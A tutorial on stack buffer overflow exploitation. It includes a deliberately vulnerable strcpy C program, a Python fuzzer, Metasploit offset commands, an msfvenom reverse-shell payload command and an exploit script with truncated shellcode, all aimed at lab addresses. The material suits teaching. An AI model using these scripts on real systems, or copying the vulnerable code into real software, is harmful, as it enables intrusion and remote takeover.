Buffer Overflows
A buffer overflow occurs when a program writes more data to a buffer (a block of memory) than it can hold. This excess data overwrites adjacent memory, which can lead to program crashes or, more critically, execution of arbitrary code.
The Stack
To understand buffer overflows, you must understand the stack. The stack is a region of memory used for local variables and function control flow. It grows downwards (from high memory addresses to low memory addresses).
Stack Layout (High to Low)
- Arguments
- Return Address (EIP)
- Saved Frame Pointer (EBP)
- Local Variables (Buffer)
Vulnerable Code Example
The `strcpy` function does not check if the destination buffer is large enough to hold the source string.
#include <stdio.h>
#include <string.h>
void vulnerable_function(char *input) {
char buffer[64];
// VULNERABILITY: strcpy doesn't check length!
// If input > 64 bytes, it overwrites EBP and EIP.
strcpy(buffer, input);
}
int main(int argc, char *argv[]) {
if (argc > 1) {
vulnerable_function(argv[1]);
}
return 0;
}
Exploitation Methodology
1. Fuzzing
Send increasing lengths of data to the application until it crashes. This confirms the vulnerability.
#!/usr/bin/python3
import socket, time, sys
ip = "192.168.1.10"
port = 1337
timeout = 5
prefix = "OVERFLOW "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
2. Finding the Offset
Use a cyclic pattern to determine exactly which bytes overwrite the EIP.
# Generate pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
# Find offset after crash (EIP value)
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2000 -q 39694438
3. Controlling EIP
Verify control by overwriting EIP with `BBBB` (0x42424242).
shellcode = "A" * 146 + "B" * 4 + "C" * 400
4. Bad Characters
Identify characters that get mangled or truncate the buffer (e.g., null byte `\x00`, newline `\x0A`).
Common Bad Chars
\x00 is almost always a bad character in string functions like strcpy, as it signifies the end of the string.
5. Generating Shellcode
Use `msfvenom` to generate shellcode, excluding bad characters.
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -b "\x00" -f c
6. The Exploit
Construct the final payload: `Padding + EIP (JMP ESP) + NOP Sled + Shellcode`.
import socket
ip = "192.168.1.10"
port = 1337
prefix = "OVERFLOW "
offset = 146
overflow = "A" * offset
retn = "\xaf\x11\x50\x62" # JMP ESP address (little endian)
padding = "\x90" * 16 # NOP Sled
payload = ("\xbf\x6e\x4e\x2d\x61\xdb\xc8\xd9\x74\x24\xf4\x5d\x33\xc9"
"\xb1\x52\x31\x7d\x12\x03\x7d\x12\x83\x6e\x2e\x0b\x86\xc5"
"...") # Generated shellcode
buffer = prefix + overflow + retn + padding + payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")